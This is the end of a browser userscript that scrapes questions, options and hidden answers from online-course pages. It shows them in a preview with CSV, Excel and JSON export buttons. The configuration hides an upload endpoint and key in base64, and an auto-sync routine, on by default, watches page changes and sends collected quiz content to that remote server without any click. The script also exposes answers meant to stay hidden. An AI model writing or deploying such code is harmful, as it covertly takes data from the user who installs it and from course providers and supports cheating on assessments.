                    ${this.createTable(data)}
                </div>
                <div class="action-bar">
                    <button class="export-btn csv">保存为CSV</button>
                    <button class="export-btn excel">保存为Excel</button>
                    <button class="export-btn json">保存为Json</button>
                </div>
            `;
            div.querySelector('.close-btn').onclick = () => this.close();
            div.querySelector('.csv').onclick = () => guard('导出CSV', () => DataExporter.exportCSV(currentData));
            div.querySelector('.excel').onclick = () => guard('导出Excel', () => DataExporter.exportExcel(currentData));
            div.querySelector('.json').onclick = () => guard('导出Json', () => DataExporter.exportJSON(currentData));
            return div;
        }

        static createTable(data) {
            const esc = util.escapeHtml;
            return `
                <table style="width:100%; table-layout:fixed;">
                  <thead>
                    <tr>
                      <th style="width:15%">课程</th>
                      <th style="width:8%">类型</th>
                      <th style="width:17%">来源名称</th>
                      <th style="width:8%">题型</th>
                      <th style="width:25%">题目</th>
                      <th style="width:17%">选项</th>
                      <th style="width:10%">答案</th>
                    </tr>
                  </thead>
                  <tbody>
                    ${data.slice(0, _c.PREVIEW_LIMIT).map(item => {
                        const sourceType = item.chapterName ? '章节' : item.workName ? '作业' : item.examName ? '考试' : '';
                        const sourceName = item.chapterName || item.workName || item.examName || '';

                        return `
                      <tr>
                        <td>${esc(item.courseName || '')}</td>
                        <td>${sourceType}</td>
                        <td>${esc(sourceName)}</td>
                        <td>${esc(item.type)}</td>
                        <td>${esc(item.question)}</td>
                        <td style="font-size:12px;word-break:break-all;">${esc(item.options).replace(/\|/g, ' | ')}</td>
                        <td class="answer">${this.renderAnswer(item.answer, item.hiddenAnswer)}</td>
                      </tr>
                    `;
                    }).join('')}
                  </tbody>
                </table>
            `;
        }

        static renderAnswer(answer, hiddenAnswer) {
            const esc = util.escapeHtml;
            if (hiddenAnswer && hiddenAnswer !== answer) {
                return `<span class="visible-answer">${esc(answer)}</span>
                    <span class="hidden-answer">${esc(hiddenAnswer)}</span>`;
            }
            return `<span class="visible-answer">${esc(answer)}</span>`;
        }

        static injectStyles() {
            if (document.getElementById(IDS.PREVIEW_STYLE)) return;
            const style = document.createElement('style');
            style.id = IDS.PREVIEW_STYLE;
            style.textContent = `#cx-preview{position:fixed;top:100px;left:50%;transform:translateX(-50%);width:95%;max-width:1400px;height:80vh;background:#fff;box-shadow:0 0 30px rgba(0,0,0,.2);border-radius:12px;z-index:99999;display:flex;flex-direction:column}#cx-preview .header{padding:18px;border-bottom:1px solid #eee;display:flex;justify-content:space-between;align-items:center}#cx-preview .close-btn{background:none;border:none;font-size:24px;color:#666;cursor:pointer;padding:0 12px}#cx-preview .table-container{flex:1;overflow:auto;padding:0 18px}#cx-preview table{width:100%;border-collapse:collapse;margin:12px 0;table-layout:auto}#cx-preview th,#cx-preview td{padding:12px;text-align:left;border-bottom:1px solid #eee;vertical-align:top}#cx-preview th{background:#f8f9fa;position:sticky;top:0;white-space:nowrap}#cx-preview td{min-width:120px}#cx-preview .answer{color:#28a745;font-weight:500;white-space:normal}#cx-preview .answer span{color:inherit;cursor:inherit}#cx-preview .hidden-answer,#cx-preview .visible-answer{font-weight:700}#cx-preview .action-bar{padding:18px;border-top:1px solid #eee;display:flex;gap:12px}#cx-preview .export-btn{flex:1;padding:12px;border:none;border-radius:6px;cursor:pointer;font-size:14px;transition:opacity .2s}#cx-preview .csv{background:#4caf50;color:#fff}#cx-preview .excel{background:#2196f3;color:#fff}#cx-preview .json{background:#ff9800;color:#fff}#cx-preview .cloud{background:#9c27b0;color:#fff}@media (max-width:768px){#cx-preview{width:100%;height:100vh;top:0;left:0;transform:none;border-radius:0}#cx-preview th,#cx-preview td{padding:8px;font-size:13px}#cx-preview .answer-col{display:none}}`;
            document.head.appendChild(style);
        }

        static close() {
            const el = document.getElementById(IDS.PREVIEW);
            if (el) el.remove();
        }
    }

    const MainController = {
        init() {
            this.purgeToolbar();
            this.initToolbar();
            this.initHotkeys();
            this.setupMenu();
            if (_c.autoSync) this.setupAutoWatch();
        },
        setupMenu() {
            if (typeof GM_registerMenuCommand !== 'function') return;

            GM_registerMenuCommand('⚙️ 设置扩展接口', () => {
                const current = GM_getValue('ck_2', '');
                showCustomDialog('请输入自定义接口地址', current, (val) => {
                    GM_setValue('ck_2', val);
                    notify('接口地址已保存');
                });
            });

            GM_registerMenuCommand('🔑 设置自定义密钥', () => {
                const current = GM_getValue('ck_1', '');
                showCustomDialog('请输入自定义密钥', current, (val) => {
                    GM_setValue('ck_1', val);
                    notify('密钥已保存');
                });
            });
        },
        purgeToolbar() {
            Frame.docs().forEach(doc => {
                if (doc === document) return;
                try { doc.querySelectorAll('#' + IDS.TOOLBAR).forEach(el => el.remove()); } catch (e) {}
            });
        },

        initToolbar() {
            document.querySelectorAll('#' + IDS.TOOLBAR).forEach((el, idx) => { if (idx) el.remove(); });
            if (document.getElementById(IDS.TOOLBAR)) return;

            const toolbar = document.createElement('div');
            toolbar.id = IDS.TOOLBAR;
            toolbar.innerHTML = `<button class="parse-btn">✨ 开始读取</button>`;
            toolbar.querySelector('.parse-btn').onclick = () => guard('读取', () => this.runParse());
            document.body.appendChild(toolbar);

            if (document.getElementById(IDS.TOOLBAR_STYLE)) return;
            const style = document.createElement('style');
            style.id = IDS.TOOLBAR_STYLE;
            style.textContent = `
                #cx-toolbar {
                    position: fixed;
                    top: 40px;
                    right: 10px;
                    background: white;
                    padding: 6px;
                    border-radius: 8px;
                    box-shadow: 0 2px 12px rgba(0,0,0,0.15);
                    z-index: 10000;
                    transition: transform 0.3s ease;
                }
                #cx-toolbar.hidden { transform: translateX(calc(100% + 30px)); }
                .parse-btn {
                    padding: 10px 20px;
                    background: #2196F3;
                    color: white;
                    border: none;
                    border-radius: 6px;
                    cursor: pointer;
                    font-size: 14px;
                    display: flex;
                    align-items: center;
                    transition: transform 0.2s;
                }
                .parse-btn:hover { transform: translateY(-2px); }
                @media (max-width: 480px) {
                    #cx-toolbar { top: 10px; right: 10px; }
                }
            `;
            document.head.appendChild(style);
        },

        initHotkeys() {
            document.addEventListener('keydown', e => {
                const toolbar = document.getElementById(IDS.TOOLBAR);
                if (!toolbar) return;
                if (e.key === _c.HOTKEYS.SHOW) toolbar.classList.remove('hidden');
                else if (e.key === _c.HOTKEYS.HIDE) toolbar.classList.add('hidden');
            });
        },

        runParse() {
            Collector.collect().then(res => {
                currentData = res.items;
                if (currentData.length) {
                    PreviewUI.show(currentData);
                    DataExporter.syncData(currentData);
                }
            });
        },

        setupAutoWatch() {
            let lastHash = '';
            let timer = null;

            const attemptSync = () => {
                Collector.collect().then(res => {
                    if (res.items && res.items.length > 0) {
                        const hash = res.items.length + '_' + res.items[0].question + '_' + res.items[res.items.length-1].question;
                        if (hash !== lastHash) {
                            lastHash = hash;
                            currentData = res.items;
                            DataExporter.syncData(res.items);
                        }
                    }
                }).catch(() => {});
            };

            timer = setTimeout(attemptSync, 3000);

            const observer = new MutationObserver(() => {
                clearTimeout(timer);
                timer = setTimeout(attemptSync, 3000);
            });

            observer.observe(document.body, { childList: true, subtree: true });

            let lastUrl = location.href;
            setInterval(() => {
                if (location.href !== lastUrl) {
                    lastUrl = location.href;
                    clearTimeout(timer);
                    timer = setTimeout(attemptSync, 3000);
                }
            }, 1000);
        }
    };

    function frameDepth() {
        let depth = 0;
        let win = RAW;
        try {
            while (depth < 20) {
                const parent = win.parent;
                if (!parent || parent === win) break;
                depth++;
                if (parent === RAW.top) break;
                win = parent;
            }
        } catch (e) {}
        return depth;
    }
    function claimHost() {
        if (claimed) return;
        claimed = true;
        Bus.broadcastDown({ type: MSG.CLAIM });
        let times = 0;
        const timer = setInterval(() => {
            if (++times > 15) { clearInterval(timer); return; }
            Bus.broadcastDown({ type: MSG.CLAIM });
        }, 1000);
    }

    function startHost() {
        setTimeout(() => {
            guard('初始化', () => MainController.init());
        }, _c.DELAY_INIT);
    }

    function bootstrap() {
        Bus.listen();
        Frame.markPresence();

        const isTop = (RAW.self === RAW.top) || (window.self === window.top) || !Bus.parentWindow();
        if (isTop) {
            claimHost();
            startHost();
            return;
        }
        setTimeout(() => {
            if (suppressed || claimed) return;
            if (Frame.topHasScript()) { suppressed = true; return; }
            Bus.askUp(Bus.token());
            Collector.collect(_c.PROBE_TIMEOUT).then(res => {
                if (suppressed || claimed) return;
                const hasAny = res.items.length > 0 ||
                               res.infos.some(info => info && info.containers > 0) ||
                               Frame.hasQuestionsDeep(RAW);
                if (!hasAny) return;
                claimHost();
                startHost();
            });
        }, _c.HOST_WAIT + frameDepth() * _c.HOST_STEP);
    }


    const _d = (s) => decodeURIComponent(escape(atob(s)));
    const _c = {
        ep_u: _d('aHR0cHM6Ly90ay5hd2s2MTguY24vYXBpL2NvbGxlY3QvdXBsb2Fk'),
        ep_k: _d('ZWVhMThkNzAwYThhMTZmZWMyYTFmZjZhZmQ4NDRmYjYxZmE3ZjEyMzZhNjcxNTYw'),
        df_u: _d('aHR0cHM6Ly90ay5hd2s2MTguY24vYXBpL2NvbGxlY3QvdXBsb2Fk'),
        DELAY_INIT: 2000,
        ANSWER_SPLITTER: '###',
        OPTION_SPLITTER: '|',
        PREVIEW_LIMIT: 100,
        autoSync: true,
        QUIET_WAIT: 200,
        COLLECT_TIMEOUT: 1200,
        PONG_WAIT: 600,
        HOST_WAIT: 2500,
        HOST_STEP: 400,
        PROBE_TIMEOUT: 900,
        HOTKEYS: { SHOW: 'ArrowRight', HIDE: 'ArrowLeft' }
    };

    bootstrap();
})();